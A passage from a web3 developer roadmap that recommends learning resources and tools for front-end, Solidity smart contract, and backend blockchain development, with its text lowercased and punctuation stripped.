originally developed by the facebook team but was open sourced early on and now it has thousands of contributors and many full time maintainers who are constantly pushing the framework forward most of the user interfaces for blockchain applications are programmed using react and there are many react component libraries that you can reuse from the community to perform common tasks like logging with an ethereum wallet switching networks and also so called react hooks libraries i e eth hooks https github com scaffold eth eth hooks which let you fetch different data like balance block number prices and more i believe that react is best learned from the official documentation but there are also other resources for people that learn better with video content here is a list of react learning resources that i recommend react in 100 seconds fireship https www youtube com watch v tn6 piqc4um react roadmap https roadmap sh react official react documentation https reactjs org docs getting started html awesome react https github com enaqx awesome react this github repository aggregates many useful resources for react developers it has tutorials tooling component libraries frameworks design patterns guidelines and much more it is a good place to look for inspiration and resources when using react if you want a paid video course i can recommend either ztm s react course https www udemy com course complete react developer zero to mastery or maximilian schwarzmuller s react course https www udemy com share 101wby3 jdt64oz7fmqjmawbtrmk5wudfzeewdykqern1yca5yjmewg0ckpdillqsqtsxei7 on udemy there are sales periods every once in a while which allow you to buy courses for 15 instead of 200 so wait for one of those never buy for the full price freecodecamp react course on yt https youtu be bmknfkxifa8 learn react for free https scrimba com learn learnreact after you feel like you ve understood how react works you have learned about lifecycle methods hooks how to pass down data through props how to use the context api etc i recommend trying to build the front end of a web3 app like uniswap or an nft marketplace like opensea to rapidly prototype the design i recommend using tailwind css https tailwindcss com and chrome browser developer tooling to inspect the styles of the site you re trying to recreate also don t forget to use css flexbox grid where necessary try to simulate the data inside of these apps using hardcoded json objects typescript typescript https www typescriptlang org is a superset of javascript which allows you to statically type javascript code this means that you declare the types of variables integer string it allows for a better developer experience as the typescript compiler can catch many errors ahead of time since it checks the types of the objects ahead of time it also allows developers to tap into extra features on top of javascript which allows writing more expressive javascript remember that typescript cannot be run by the browser and needs a compiler to convert typescript code into runnable javascript typescript is widely used by the web development community thanks to its features that improve security readability allow for a better development experience inside of the ide with autocompletion and add cool new syntactic sugar on top of javascript i recommend going to the typescript documentation https www typescriptlang org docs handbook intro html it is good to get into the habit of going to official documentation since they are usually the right place to visit if you are learning new technology once you have the basics down try building a simple application with it or refactor an existing application in a way that uses the technology that you are learning next js next js https nextjs org is a react framework that enables server side rendering static site generation does smart bundling route pre fetching and a lot more next js is able to heavily optimize your websites by only loading what you need on demand instead of having to load up the entire site at the beginning it also allows for a much better experience with creating api routes thanks to its file system routing feature it optimizes images it has typescript support it helps with i18n api internationalized routing and a lot more learning resources next js documentation https nextjs org docs awesome nextjs https github com unicodeveloper awesome nextjs moralis moralis https moralis io is a web3 development platform that helps abstract away the pain of having to build all the backend infrastructure needed to run web3 applications from scratch moralis provides an easy to use api that lets you fetch any data that you want from various blockchains handles web3 user authentication allows you to listen to smart contract events in real time gives you access to historical data has support for cloud functions and much more if you ve never worked with blockchains it is the best way to get onboarded and start building web3 applications as the moralis sdk is intuitive to use for anyone that has experience with javascript typescript learning resources moralis documentation https docs moralis io moralis server getting started moralis yt channel https www youtube com c moralisweb3 web3 libraries ethers js https docs ethers io is one of the most popular libraries for interacting with the ethereum blockchain and its ecosystem smart contracts that are deployed on the ethereum blockchain have functions that can be called externally by any other account on ethereum be it an externally owned account eoa user wallet or another smart contract many of these functions require certain parameters to be fed into them they also rely oftentimes on an external state like prices of tokens on the blockchain balances of the user s wallet and more ethers js is what allows a user interface to call these functions users can input certain information in the frontend of your application and that information can be put into the function call of the smart contract after the transaction is broadcasted the evm will try to execute that function call and if every check inside of the function doesn t give out any errors it will execute otherwise the transaction will revert ethers js is currently the most popular ethereum library among developers but there are alternatives like web3 js web3 py brownie and many others the second most popular framework is web3 js and it is the ethereum javascript library that has been around the longest for a comparison of ethers js and web3 js read this article https moralis io web3 js vs ethers js guide to eth javascript libraries written by the moralis developer team learning resources ethers js documentation https docs ethers io web3 js https web3js readthedocs io is a collection of libraries that allow you to interact with a local or remote ethereum node using http ipc or websocket the web3 javascript library interacts with the ethereum blockchain it can retrieve user accounts send transactions interact with smart contracts and more learning resources web3 js documentation https web3js readthedocs io en v1 7 1 getting started html design as a front end developer you need to focus on how your application looks and how it feels to use it a big part of that is designed before building a website you should prototype how you want it to look design how your users will interact with your application how will that fit with the use case of your application and what you want to accomplish with it how to make it so that your users like using it and more ui ux is a specialization of its own but every single front end developer should have strong foundations in ui ux regardless most big teams will have designers which will prototype applications using tools like figma framer motion and various other tools as a front end developer your task is to turn those designs into functioning code and hook all of the components to the apis and databases necessary as well as creating the functionality of the application one of the most popular tools to prototype and design websites is figma so every fe developer should know how to use the application learning resources freecodecamp figma yt course https youtu be jwcmibj8jtc web3 templates when you are building web3 applications you usually start with a template a template is just a group of libraries pre built user interfaces and another tooling that create a favorable environment to build your application a lot of the initial hard work to set up a project can be reused across projects to save time and effort on building redundant infrastructure many web3 templates have support for smart contracts out of the box which is what you ll be interacting with most of the time as a front end developer it is good to know the basics of smart contracts and understand how to get a contract factory out of the abi to call its methods within your user interface that s the biggest overhead when building in web3 in comparison to being a frontend developer in web2 where you only have to care about fetching data from rest or graphql apis you can build your own templates depending on your needs or modify already existing ones popular web3 templates include moralis starters https docs moralis io moralis server getting started boilerplate projects scaffold eth https github com austintgriffith scaffold eth create eth app https github com paulrberg create eth app tooling as a developer there are many tools you ll use to make building applications easier and more efficient to collaborate on projects with other people to manage dependencies and much more this is a short section on different tooling you ll find yourself using regularly package management if you ve gotten this far in the front end specialization you ve certainly had to install packages like react next js tailwind css ethers js and many others the most popular package managers in the javascript ecosystem are npm and yarn package managers allow you to keep track of which versions of which external code libraries your application uses as well as how the project s code is structured how to run different tests how to run your program and various other miscellaneous tasks as you build more complex applications it is good to learn the depths of your package manager how to structure package json files how to write scripts that automate the boring stuff how to set up a ci cd pipeline we ll talk about this in a bit and more package management basics https developer mozilla org en us docs learn tools and testing understanding client side tools package management npm https www npmjs com yarn https yarnpkg com styling animation there are many css libraries and frameworks which modify the way in which you write css there are libraries that allow you to write css within javascript component libraries for react which have a lot of the styling done for you animation libraries and more i ll mention a few of the most popular ones feel free to suggest changes as i m not an expert in the area styled components https www styled components com css in js tailwind css https tailwindcss com css framework framer motion https www framer com motion animations framework chakra ui https chakra ui com component library material ui https mui com component library next ui https nextui org component library sass https sass lang com css pre processor postcss https postcss org css pre post processor awesome css https github com awesome css group awesome css css learning repo linting formatting a linter is a static code analysis tool used to flag programming errors bugs stylistic errors and suspicious constructs and a code formatter makes sure that the code you write has a homogenous style structure and abides by the formatting rules of a specific programming language i e pep8 https www python org dev peps pep 0008 for python when you re writing code it s easy to miss a space a tab a colon an opening or closing bracket or to write code with bad and inconsistent styling that s where linters and formatters will come in handy as they automate the task they can be configured to run on saving and on commit so that badly styled code never gets into production or into a public repo the most popular choices are eslint https eslint org prettier https prettier io ci cd ci cd stands for continuous integration continuous deployment they are a set of tools that allow you to create automatic processes that execute whenever a change is made to the codebase usually hosted on the cloud so that the production servers running your application get automatically updated with the newly pushed code these actions can also modify and run tests on the code before it gets pushed into production if tests fail the commit or update will not go through and collaborators will get notified of this once projects become bigger and they have big teams of contributors a solid ci cd pipeline is very important so as to maximize the security and correctness of code being pushed into production examples of popular ci cd tooling are github actions https github com features actions circleci https circleci com husky https typicode github io husky testing a key part of development is mitigating how many bugs are inside of your application to ensure that the code behaves as it is intended to we write unit tests https en wikipedia org wiki unit testing integration tests https en wikipedia org wiki integration testing or even end to end tests https www browserstack com guide end to end testing each kind of test focuses on a different part of the application lifecycle modern tooling like cypress allows you to simulate all possible states of your application and simulate user flows you can even record user session tests as if you were recording a real user going through your website in web3 you will also be doing integration tests for smart contract interaction you can test smart contracts using libraries like foundry https github com gakonst foundry hardhat https hardhat org or truffle https trufflesuite com most of these tests will be written by a smart contract or full stack developer however as a frontend developer you need to test how the interactions with the contracts will influence the flow of the user interface of your application you can write various tests in javascript with ethers js and couple it with cypress to write complex tests the web3 app development lifecycle usually goes from locally deployed smart contracts and front end to testnets live network environment but with non valuable assets and to mainnet not necessarily ethereum mainnet it can be an l2 like arbitrum a sidechain like polygon pos etc on the smart contract side development teams hire external security auditors to verify that the contracts are secure to use we will cover this in depth in the smart contract development section smart contract development cypress https www cypress io jest https jestjs io mocha https mochajs org ens integration ens domains https ens domains are human readable domains for ethereum addresses the registrar for these domains is fully on chain and the protocol is decentralizaed and governed by a dao ens domains serve as an on chain identity mechanism which many ethereum users use to express themselves on chain and to display information about themselves through ens profile metadata containing contact information like email twitter discord or links to websites a profile picture nft image metadata and more as a web3 front end developer you can tap into this registrar and display users information once they ve connected to your application with their web3 wallet the best way to get started with ens is their official documentation https docs ens domains here you can get a general understanding of the ens protocol for integrating ens into your dapp visit this section https docs ens domains dapp developer guide ens enabling your dapp you need to perform 3 steps in order to support ens within your application 1 resolve ens names https docs ens domains dapp developer guide resolving names 2 support reverse resolution https docs ens domains dapp developer guide resolving names reverse resolution 3 let users manage their ens names https docs ens domains dapp developer guide managing names if you are interested in how the on chain parts of ens work check out the smart contract development section smart contract development further learning and development by now you have learned a solid technology stack that can enable you to build all kinds of user interfaces for web3 apps in order to really engrain these technologies you need to build pet projects or join a team full time even if you only know a few of them you can join a team and get upscaled there as your learning will be supercharged by more experienced coworkers that will act as mentors most of the times the front end development landscape is constantly evolving new technologies will come and go it is in your best interest to look at trends in the industry and try adapting them once they are a clear sign of them becoming adopted you will keep improving your technology stack over time especially as you become more senior and you are able to reason why you want to use one tool over the other and how it fits into the needs of the applications that you are building build build build try creating small projects that implement ideas you come up with and practice the technologies you want to master also don t be shy to ask questions to other web3 developers and form learning groups with your friends or other industry members also read over the getting a job getting a job and mastery mastery sections of this guide to get more insight into soft skills which are useful to learn to grow as a developer smart contract development writing decentralized applications dapps requires knowing how to write smart contracts as they are pieces of code that live on blockchains that can be executed inside of virtual machines to write contracts you need to learn the programming languages that are able to compile to a target that the virtual machine can understand in the case of the ethereum blockchain we have the evm which has a set of operations it supports a k a opcodes the most popular language for writing smart contracts on ethereum is solidity which is a statically typed object oriented high level programming language that takes inspiration from c python and javascript with solidity you can program logic that executes inside of the evm and the result of its operations is stored on the blockchain forever the state of these applications is easily accessible from a full node or from a third party data indexing platform the goal of smart contract developers is to create secure applications which perform a certain action for example a contract that allows for users to swap tokens to buy and sell nfts to vote on proposals etc there are many different stages in the smart contract development stage from experimentation iteration testing auditing testnet deployment and mainnet deployments there are also different sets of best practices that developers and production teams adopt in order to mitigate the security and economic risk of their applications another important part of writing smart contracts on ethereum or ethereum l2s is optimizing the contracts to minimize the amount of gas they consume since block space on ethereum and l2s is limited there needs to be a fee mechanism in order to avoid state bloat that gives a fixed gas price to each operation executed by the respective vm that means that the more complex a smart contract is the more expensive it will be to deploy and for the users to use there are various design patterns that optimize the code to consume the least amount of gas possible whilst remaining readable and secure solidity solidity is by far the most popular language to write smart contracts at the moment as the evm is the most widely adopted virtual machine out there not only is it used in ethereum s execution layer but many alt l1s and l2s on ethereum use the evm as their virtual machine since there s a fairly mature development ecosystem in order to first learn solidity we ll go over a few simple courses that explain the principles of the language and as we progress further we will talk about design patterns testing security oracles and more cryptozombies https cryptozombies io en course is an interactive web application that teaches you the basics of solidity through a fun development game it teaches you how to create a contract the data types that solidity supports how to write methods how to manage objects events inheritance memory management interfaces modifiers and more by the time you finish the first three short courses you ll be able to read and write solidity code an alternative to cryptozombies which is in video form is the solidity playlist https www youtube com playlist list plo5vpqh6owdvqwpqfw9rz67o6pjfo6q p from smart contract programmer https www youtube com channel ucjwh7f3afyq x01vkzr9eya on youtube this one is a bit better as it covers solidity 0 8 0 which is a fairly recent version after we finish the course with the basics we ll move on to building small projects implementing various different protocols applications and cryptographic primitives through the use of the scaffold eth https github com scaffold eth scaffold eth challenge that appear in this thread https twitter com austingriffith status 1483834810359377923 s 20 t lkxzcah2ct5xf7btymas0a scaffold eth is a web3 development template built by austin griffith https twitter com austingriffith and open source contributors which abstracts the backend of your app and creates a front end interface for interacting with the smart contracts that you write we will start with the ethereum speed run https speedrunethereum com challenges in the thread mentioned above and continue with building more complex applications like a signature based multisig https github com scaffold eth scaffold eth examples tree meta multi sig an app that uploads images to ipfs https github com scaffold eth scaffold eth tree image upload ipfs and more also a great way to learn solidty is to look through already written codes for eg https solidity by example org now that you ve been writing more and more complex smart contracts it is a good idea to start looking at other people s code to get a feel for how they implement different features how they structure code what designs and patterns they use how they optimize for gas and a lot more there are many techniques that you ll be picking up along on your journey in order to make your contracts more resource effective and gas optimized so that your users don t need to spend as much money for using your applications a good example of well made smart contracts at the intermediate level are miguel piedrafita https twitter com m1guelpf s lil web3 https github com m1guelpf lil web3 tree main src contracts they are simple implementations of popular protocols and applications they also have tests attached to them which are written using foundry which we will cover shortly take a look at how comments are written how events and errors are used how it is structured gas minimization techniques he employs try to understand the design of the protocol implementation etc trying to implement your own versions of well known applications and protocols is a great way to improve at solidity as you ll learn a lot about the development process that you ll go through once you are writing production code at a company or dao threads that talk about getting really good at solidity tips from emilio frangella aave https twitter com the3d status 1485308693935763458 s 20 t s2cbkfxvz3tpjkfqcbylfa tips from freddycoen https twitter com freddycoen status 1485572733706682368 tips for non beginners from 0xcacti https twitter com 0xcacti status 1485079302601207810 s 20 t iu2dlmrekntazgzifvzlma tips from transmissions11 https twitter com transmissions11 status 1485159010210770946 s 20 t iu2dlmrekntazgzifvzlma once you ve gone through all of the above the best you can do to learn advanced solidity is to see what the best codebases look like look at how they structure their projects what gas optimizations they use what solidity patterns they employ how they do tests how they create interfaces how they handle events and errors what libraries dependencies do they use if any etc examples of great codebases uniswap v2 https github com uniswap v2 core uniswap v3 https github com uniswap v3 core gnosis safe https github com gnosis safe contracts compound finance https github com compound finance compound protocol zora v3 https github com ourzora v3 rari capital https github com rari capital vaults ribbon finance https github com ribbon finance ribbon v2 tree master contracts aave https github com aave aave protocol sushiswap https github com sushiswap sushiswap testing testing smart contracts is an essential part of the development process as it ensures that the code you write behaves as intended and is secure against various technical and economic exploits many different libraries are used by different teams there are pros and cons to using each different library and in some cases they can be used in a complementary fashion we will cover the most popular ones among top tier developers as well as the most commonly used ones like hardhat and truffle opinionated recommendations foundry and hardhat foundry foundry https github com gakonst foundry is the hottest library in the ethereum development landscape it is originally built by georgios konstantopoulos who is one of the most highly respected developers in the entire ethereum ecosystem georgios is currently the cto at paradigm and part of his job is building tools for developers that will be used to create the applications of the future foundry is composed of two parts forge and cast forge forge is a fast and flexible ethereum testing framework inspired by dapptools cast swiss army knife for interacting with evm smart contracts sending transactions and getting chain data the library is written in rust which is a systems level programming language that has memory safety borrow checking performant concurrency and many other features which are making it one of the favorite languages used by developers across all fronts many popular libraries are being written in rust popular compiler targets like wasm are supported by rust a lot of ethereum developer tooling is built using rust or is refactoring their infrastructure to use rust it is a very exciting trend in blockchain development and many developers are learning the language to be able to contribute to these cool pieces of software the best way to get started with rust is the rust book https doc rust lang org book and the rustlings repo https github com rust lang rustlings the reason why foundry is getting a lot of popularity and it is so important is because solidity tests should be written in solidity and not in javascript it is very hard to master two different languages at once and solidity developers shouldn t be forced to learn it in order to be able to test their smart contracts foundry is also getting an increasingly superior development environment in terms of features the main features for which you might use other toolkits are mainly deployment which is not supported by foundry so far for managing deployments the standard toolkit is hardhat for testing gas optimization features fuzzing symbolic execution hevm etc do use foundry good resources for learning and mastering foundry are the foundry book https book getfoundry sh community sourced documentation tweet from andreasbigger https twitter com andreasbigger status 1500209878433894400 s 20 t 5hkev0q h3z3qorvlko hq familiarize yourself w forge cli https github com gakonst foundry blob master cli readme md checkout some templates frankieislost forge template https github com frankieislost forge template zeframlou forge template https github com zeframlou foundry template andreasbigger femplate https github com abigger87 femplate dive into repos using foundry lil web3 https github com m1guelpf lil web3 n3rp https github com grantstenger n3rp zen https github com zksoju zen cloaks https github com abigger87 cloaks ethernaut x foundry https github com ciaranmcveigh5 ethernaut x foundry damn vulnerable defi foundry https github com nicolasgarcia214 damn vulnerable defi foundry multicall https github com mds1 multicall brockelmore s testing verbosity with forge std https github com brockelmore forge std hardhat hardhat https hardhat org is the ethereum development library that s the most widely used across the ecosystem and is the standard in most production codebases like aave uniswap and many others usually all the deploy scripts migration files automation scripts etc are written using hardhat and their tooling suite it is a javascript library that has typescript support recently the hardhat team announced that they are moving their infrastructure to rust as most of the tooling ecosystem is moving to use it do its performance and security truffle suite truffle suite https trufflesuite com is a suite of tools developed by consensys to locally test smart contracts by deploying them on a local instance of the ethereum blockchain mocking user addresses using the ganache library writing tests using truffle and creating on chain data pipelines for user interfaces using drizzle it was one of the first complete ethereum developer tooling ecosystems that were released but they ve fallen out of favor in recent years as libraries like hardhat overtook it dapptools dapptools https github com dapphub dapptools is a suite of ethereum focused cli tools following the unix design philosophy favoring composability configurability and extensibility there are 4 key elements in dapptools dapp all you need ethereum development tool build test fuzz formally verify debug deploy solidity contracts seth ethereum cli query contracts send transactions follow logs slice dice data hevm testing oriented evm implementation debug fuzz or symbolically execute code against local or mainnet state ethsign sign ethereum transactions from a local keystore or hardware wallet a cool innovation done by app tools was the hevm which is an evm implementation written in haskell a functional programming language that allows to symbolically execute solidity code and formally verify the results of the resulting bytecode opcode operations this feature was later adopted by foundry including many others that were first provided by dapptools design patterns once you re comfortable with writing more and more complex contracts and maybe taking a look at the front end code and it interacts with the smart contracts you ll start getting a feel for how smart contracts are designed from a more high level view there are certain designs and patterns which are commonplace things like the approved pattern for tokens and more at this point it is a good idea to start thinking more about the overall architecture of your code and the structure that it will take to efficiently implement the functionality you want to enable there are common patterns employed in smart contract development this solidty patterns https github com fravoll solidity patterns repo implements some of them since the evm is such a constrained environment where each additional operation executed by the evm adds gas costs to the execution of the smart contract developers try to build as least resource intensive contracts as possible whilst also maximizing readability and security since blockchains are a very adversarial environment were mistakes in a smart contract could lead to fund drains rugs and exploits it can be considered mission critical software and so many developers get inspiration from other mission critical software guidelines like the ones of nasa which are responsible for the lives of astronauts going to space these development principles are guidelines that help optimize a codebase for maximum security through the adoption of a standardized procedure and developer mindset ens integration we mentioned how to integrate ens domain names into your dapp within the front end development section front end development but as a smart contract developer you can also resolve ens domain names on chain https docs ens domains contract developer guide resolving names on chain write your own resolver https docs ens domains contract developer guide writing a resolver which implements eip137 https github com ethereum eips issues 137 or even write your own registrar https docs ens domains contract developer guide writing a registrar specialized languages there are various programming languages that can be compiled into evm bytecode there are high level programming languages such as solidity vyper or fe but there s also an intermediate programming language that s often used within gas optimized contracts called yul or as a developer you can write evm assembly by writing the evm opcodes directly a common technique for gas minimization is writing solidity code looking at the resulting evm assembly code and comparing the gas cost of different implementations in order to make the contract as gas efficient as possible yul yul https docs soliditylang org en v0 8 12 yul html is an intermediate level programming language that can compile into evm bytecode from the solidity documentation the design of yul tries to achieve several goals programs written in yul should be readable even if the code is generated by a compiler from solidity or another high level language control flow should be easy to understand to help in manual inspection formal verification and optimization the translation from yul to bytecode should be as straightforward as possible yul should be suitable for whole program optimization in order to achieve the first and second goals yul provides high level constructs like for loops if and switch statements and function calls these should be sufficient for adequately representing the control flow for assembly programs therefore no explicit statements for swap dup jumpdest jump and jumpi are provided because the first two obfuscate the data flow and the last two obfuscate control flow furthermore functional statements of the form mul add x y 7 are preferred over pure opcode statements like 7 y x add mul because in the first form it is much easier to see which operand is used for which opcode evm assembly evm assembly https docs soliditylang org en v0 8 12 assembly html can be written inside of inline solidity statements with the assembly keyword it allows for more fine grained control over the resulting bytecode oftentimes the compiler is unable to optimize solidity code well and so it results in unnecessary gas costs there s also an unchecked keyword in solidity which disables the overflow and underflow checks from the compiler which were introduced in solidity 0 8 0 and before were part of the safemath library in openzeppelin libraries the unchecked keyword is oftentimes used writing yul or inline assembly can obfuscate the functionality of your code by making it less readable for other contributors auditors and it can potentially introduce new risks as the solidity compiler oftentimes performs various optimizations and security checks good toolkits for writing evm assembly etk https github com quilt etk huffc https github com jetjadeja huffc and the afforementioned yul intermediate language evm deep dive understanding the ins and outs of the evm is crucial for building highly optimized applications as each operation executed by the evm has a gas cost attached to it and users have to pay the price for executing functions within the applications that they use there is a compromise between readability and code optimizations however which needs to be taken into consideration sometimes using techniques like bitshifting and bitmapping hacker s delight https github com lancetw ebook 1 blob master 02 algorithm hacker s 20delight 202nd 20edition pdf is a good book that talks about bit manipulation techniques in detail can have a negative impact on readability and thus security as other contributors and auditors may not be able to wrap their heads around these complex optimizations or it would simply take too much time for them to do so for code that actually goes into production each project needs to asses how much do they want to optimize their code for gas savings over readability security usually comes first however there are still a set of well known good practices that will allow you to save some gas if you end up using gas optimization techniques it is also advised to document them well with comments inside of your solidity contracts another important point is that as these technologies scale and developers are less constrained by the virtual machine executing smart contract bytecode the needs for optimizations becomes less important along with the fact that the compilers converting static code to machine code are getting better and better at optimizing code for performance and low costs as technologies like l2s and data availability layers become mainstream we also may see an emergence of new vm architectures that experiment with new designs that do not require developers to work with low level optimizations as they will be highly performant and scalable for a comprehensive evm deepdive i suggest these resources ethereum explained the evm https www youtube com watch v kcswgz9nazg ab channel jordanmckinney the evm handbook https noxx3xxon notion site noxx3xxon the evm handbook bb38e175cc404111a391907c4975426d evm development starter kit https freddycoen medium com evm starter kit 1790bcc992ef read chapter 13 evm of the ethereum book https github com ethereumbook ethereumbook blob develop 13evm asciidoc read femboy capital s playdate with the evm https femboy capital evm pt1 go over openzeppelin s series on deconstructing smart contracts https blog openzeppelin com deconstructing a solidity contract part i introduction 832efd2d7737 read analyzing smart contracts https costa fdi ucm es papers costa albertcgrr20btr pdf by elvira albert very math heavy read over takenobu s slides on how the evm works visualized https takenobu hs github io downloads ethereum evm illustrated pdf go over design patterns section design patterns go over the exemplary good codebases at the beginning of the solidity section solidity follow gas optimizoors like transmission11 https twitter com transmissions11 for gas alpha get used to going to lookup gas costs for different opcode operations at evm codes https www evm codes check out the evm execution specs https github com ethereum execution specs learn to use foundry testing well bonus resources in comments of this twitter thread https twitter com 0x doggie status 1494025503446945799 s 20 t jydw6zat0ccxab3muhpfww special thanks to 0x doggie and freddycoen from whose threads i extrapolated these resources thread 1 https twitter com freddycoen status 1485572733706682368 thread 2 https twitter com 0x doggie status 1496507944803848194 you might wanna go through nick s posts https ethereum stackexchange com users 1254 nick johnson and jean s solidity articles https jeancvllr medium com solidity tutorial all about assembly 5acdfefde05c backend development as far as blockchain development goes most of the logic that traditional applications would consider backend is encapsulated within smart contracts however there are also complementary technologies that allow you to query data from blockchains index the data create databases so that you have on demand data from custom apis decentralized storage for content user authentication did etc i wouldn t consider this its own specialization but it is a sufficiently unique skill set for me to cover it separately this image was created by my fren nader dabit https twitter com dabit3 who is a full stack blockchain developer that has created many useful guides some of which i ll feature in the full stack development section this web3 stack landscape graphic comes from a recent blog post of his called the complete guide to full stack web3 development https dev to dabit3 the complete guide to full stack web3 development 4g74 web3 stack png images web3 stack jpeg decentralized file storage there are many applications that require storing files of all sorts and making them available for your decentralized applications nfts for example only have a link to the uri metadata on chain and that uri points to a decentralized storage endpoint on ipfs or arweave meaning that all the images and the traits of the nft are hosted in their file storage networks rather than on the ethereum mainnet in order to save on costs and allow for higher bandwidth ipfs ipfs https ipfs io is one of the most popular decentralized file storage solutions out there there are projects like filecoin https filecoin io being built on top and many nft metadata are hosted inside of the network there are solutions like nft storage https nft storage docs that make the metadata hosting completely free to upload your nft metadata on chain by leveraging their javascript api arweave arweave https www arweave org is another such solution arweave is a type of storage that backs data with sustainable and perpetual endowments allowing users and developers to truly store data forever for the very first time as a collectively owned hard drive that never forgets arweave allows developers to remember and preserve valuable information apps and history indefinitely an increasingly popular use case of decentralized file storage solutions is web hosting since we are on a quest to build decentralized applications that are uncensorable it is good practice to also decentralize the user interface by deploying it on decentralized file storage networks like ipfs and arweave this prevents the applications you built from being censored by centralized entities shutting down your deployments on centralized platforms like vercel aws azure or any other part of good practices of modern applications is open sourcing the front end of their applications so that anyone can run them locally and also deploying several other instances to decentralized file storage solutions as well as usually hosting their own front end in a centralized server for added performance indexing querying the applications you will be building need to know what is the state of the blockchain so that your users know what is happening and can interact with the application effectively an example of this is uniswap s amm in order to call the swap function in the smart contracts you need to know how many tokens you will get back with an x amount of eth that you put into the contract in order to display the current price of any asset your application will either query data from the blockchain directly or it will use an indexing service that has that data already available these apis are very useful and are a critical part of any application thegraph a very popular service is thegraph https thegraph com en thegraph is a decentralized indexing protocol that allows you to query networks like ethereum the protocol has an incentive layer that rewards indexers to create apis for the data you specify developers can create so called subgraphs which are data apis that make the data easily accessible through a graphql schema graphql is a querying language that is used as an alternative to traditional rest apis graphql schemas are harder to set up initially but in turn they enjoy massive scalability in order to learn more check out their documentation https thegraph com docs en to learn how graphql works checkout the official documentation https graphql org learn howtographql https www howtographql com and this youtube playlist https www youtube com watch v y0ldgjwrykw list pl4cuxegkcc9ik6qhn qlcxcxpquov1u7f ab channel thenetninja although it may be a bit outdated by now better check the documentation covalenthq an upcoming service and simpler alternative to thegraph is covalent https www covalenthq com its api allows you to pull detailed historical and granular data from multiple blockchains with no code it has a rich palette of endpoints serving data from categories including balances nfts and defi the apis provide data for several different blockchains like ethereum polygon avalanche and is currently free to use in order to learn more check out their documentation https www covalenthq com docs and api docs https www covalenthq com docs api 0 0 usd 1 they have an active youtube channel https www youtube com channel ucgn t9qpixax490wr6wpbow as well with a playlist on building web3 projects https www youtube com playlist list pl4d9xizk1us3vqifyqcs005qsvuq aesa using covalent nodes as service one of the most common ways to query data from the blockchain is by calling rpc endpoints of nodes that are syncing the full state of the blockchain a node runs the ethereum blockchain has all of its state and syncs periodically every single time a new block appears you can run your own node on consumer hardware but it is unscalable if you want to use those nodes for querying data for massive applications as you d need to build your own devops pipelines in order to scale to your needs accordingly that s why most developers use a third party node provider like alchemy https www alchemy com nodereal https nodereal io or infura https infura io you can call these apis by using web3 libraries like ethers js https docs ethers io v5 web3 js https web3js readthedocs io en v1 7 0 or myriad others moralis moralis https moralis io is a web3 development platform that automates your backend instead of having to query data from nodes indexing the data and creating databases so that you don t need to query the blockchain on every user request moralis does it for you you instantiate a moralis server that exposes an api to all blockchain data through a rest api to a postgresql database it also has smart contract alerts cloud functions cross chain user authentication and more the only downside of using moralis is that it s a centralized service provider it is the easiest way to get a backend for your dapp going as moralis has a very simple to use sdk that helps you tap into the apis offered by their services it is a great way to get started building backends as most of the heavy lifting is done for you to learn how to use moralis checkout their documentation https docs moralis io introduction readme and their youtube channel https www youtube com channel ucgws9q3p5axcwyqlt2kqhbw thirdweb thirdweb https thirdweb com provide smart contracts sdks and ui components that creators game studios and developers can integrate into their app to learn how to use thirdweb checkout their documentation https portal thirdweb com oracles oracles are data feeds that bring off chain data on chain so that the smart contracts that you build can query real world information and build logic around it for example prediction market dapps use oracles to settle payments based on events a prediction market may ask you to bet your eth on who will become the next president of the united states they ll use an oracle to confirm the outcome and payout to the winners what is an oracle chainlink https youtu be zjfknzyo7 u t 10 chainlink https chain link is the most popular oracle out there you ll usually use it to get price feeds to get verifiable randomness to call external apis etc if you want to get started building with chainlink go to their documentation https docs chain link did authentication did decentralized identity and web3 user authentication are a disruptive new primitive on the internet as we can be self sovereign users of the internet and own our own value within it for the first time in human history usually your user profile is managed by centralized service providers like google facebook apple amazon and others in web3 the concept of a digital identity is much broader as it can span many more different areas such as financial history games social interaction decentralized social media i e lens protocol https github com aave lens protocol and much more it is still not clear how web3 user management will look like a few years from now but there are a few solutions that are being standardized and are emerging as potential winners spruceid spruceid https www spruceid com is a decentralized identity toolkit that allows users to sign and verify w3v verifiable credentials which are configurable across many interfaces use cases cited in the spruceid documentation https spruceid dev docs include authenticity for nft creators decentralized backup or recovery of decentralized identity decentralized on boarding for private defi pools decentralized app hosting and many more potential use cases in the future in order to integrate the spruce did solutions visit their developer portal sign in with ethereum sign in with ethereum https login xyz is an initiative that came off eip 4361 https eips ethereum org eips eip 4361 which set off to standardize how ethereum accounts interact and authenticate with off chain services by signing a standard message format parameterized by scope session details and security mechanisms e g a nonce the goals of this specification are to provide a self custodied alternative to centralized identity providers improve interoperability across off chain services for ethereum based authentication and provide wallet vendors a consistent machine readable message format to achieve improved user experiences and consent management many application builders have already adopted this signature standard for building applications on ethereum as it streamlines the process for everyone and makes it more seamless for users since they have easily readable signatures from eip 191 https eips ethereum org eips eip 191 the aim of this eip specification is to create a login standard similar to how web2 login with google and facebook became catalysts for adoption automation within blockchain applications there are many actions that are repetitive and cumbersome to execute for example having to change the liquidity provision ranges inside of an active uniswap v3 liquidity provision strategy claiming rewards from yield vaults and many other actions that users would like to automate so as to not have to deal with manual execution overhead gelato network gelato network https www gelato network is an automation protocol that runs as a decentralized network of bots used by web3 developers to automate smart contract executions on public evm compatible blockchains including ethereum polygon fantom arbitrum binance smart chain and avalanche in order to get started automating tasks inside of your application check out the official gelato documentation https docs gelato network guides tutorial which has tutorials on how to set up bots to regularly execute any given task in exchange for a small transaction fee the setup inside of the contract function that you want bots to run would look something like this gelato png images gelato png miscellaneous apis when building applications you will want to display miscellaneous information from various different other applications or protocols e g price feeds for different tokens on different amms the price of nfts listed on different marketplaces various data from services your application relies on etc as a backend developer your responsibilities are to know where you can find reliable sources of data for your application and build the infrastructure needed to fetch it so that frontend developers can display it on the site it is also important to build redundancy of the data you query and store it in your own databases in order to prevent your application from failing in the case of api dependency failure opensea a good example of such an api is opensea s api https docs opensea io reference api overview which is public and can be queried in order to get the prices of nft listings opensea get floor prices volumes a bunch of other prices historical data nft metadata and more as a developer you can also create your own databases and api endpoints to fetch data from those databases it is also a good way to earn revenue by creating saas services around api keys with rate limits for how much data anyone can query off your servers for building apis you can for example use a rest api infrastructure with nodejs and postgresql or for example you can write a thegraph subgraph full stack blockchain development as the name implies full stack blockchain development is the closest specialization to being a jack of all trades it involves building out all of the aspects of an application from front end to smart contracts to backend at least to a certain degree this is the most generic role that most blockchain developers will take and most companies and daos are looking for in a contributor since there is such a high demand for quality developers in the space it is oftentimes the case that employers onboard people from different fields and turn them into a jack of all trades within web3 development so as to save costs and reduce hr resource requirements which are incredibly scarce 